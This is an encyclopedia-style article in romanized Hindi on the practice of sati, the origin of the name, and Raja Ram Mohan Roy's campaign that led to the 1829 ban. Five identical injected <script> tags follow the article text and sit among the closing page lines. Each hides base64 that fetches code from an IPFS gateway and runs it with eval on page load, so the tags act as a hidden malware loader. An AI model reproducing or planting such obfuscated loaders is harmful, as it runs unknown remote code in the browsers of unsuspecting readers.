सती प्रथा
bharat mean sati pratha purane hindoo samaj ki ek ghinauni evan galat pratha hai. is pratha mean jivit vidhava patni ko mrit pati ki chita par jianda hi jala diya jata tha. 'sati' (sati, saty shabd ka striliang roop hai) hianduoan ke kuchh samudayoan ki ek pratha thi, jisamean hal mean hi vidhava huee mahila apane pati ke aantim sanskar ke samay svany bhi usaki jalati chita mean koodakar atmadah kar leti thi.
is shabd ko devi sati (jise dakshayani ke nam se bhi jana jata hai) se liya gaya hai. devi sati ne apane pita raja daksh dvara unake pati shiv ka apaman n sah sakane karane ke karan yajn ki agni mean jalakar apani jan de di thi. yah shabd sati ab kabhi-kabhi ek pavitr aurat ki vyakhya karane mean prayukt hota hai. yah purane hindoo samaj ki ek ghinauni evan galat pratha hai.
sati pratha hatane ko andolan
raja ramamohan ray ne sati pratha ko mitane ke lie bhi prayatn kiya. unhoanne is amanaviy pratha ke viruddh nirantar andolan chalaya. yah andolan samachar patroan tatha manch donoan madhyamoan se chala. isaka virodh itana adhik tha ki ek avasar par to unaka jivan hi khatare mean tha. ve apane shatruoan ke hamale se kabhi nahian ghabaraye. unake poorn aur nirantar samarthan ka hi prabhav tha, jisake karan l aaurd viliyam baianntik 1829 mean sati pratha ko band karane mean samarth ho sake. jab kattar logoan ne ianglaiand mean 'privi k aauunsil' mean prarthana patr prastut kiya, tab unhoanne bhi apane pragatishil mitroan aur sathi karyakartaoan ki or se british sansad ke sammukh apana virodhi prarthana patr prastut kiya. unhean prasannata huee jab privi k aauunsil ne sati pratha ke samarthakoan ke prarthana patr ko asvikrit kar diya. sati pratha ke mitane se raja ramamohan ray sansar ke manavatavadi sudharakoan ki sarvapratham pankti mean a gaye.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>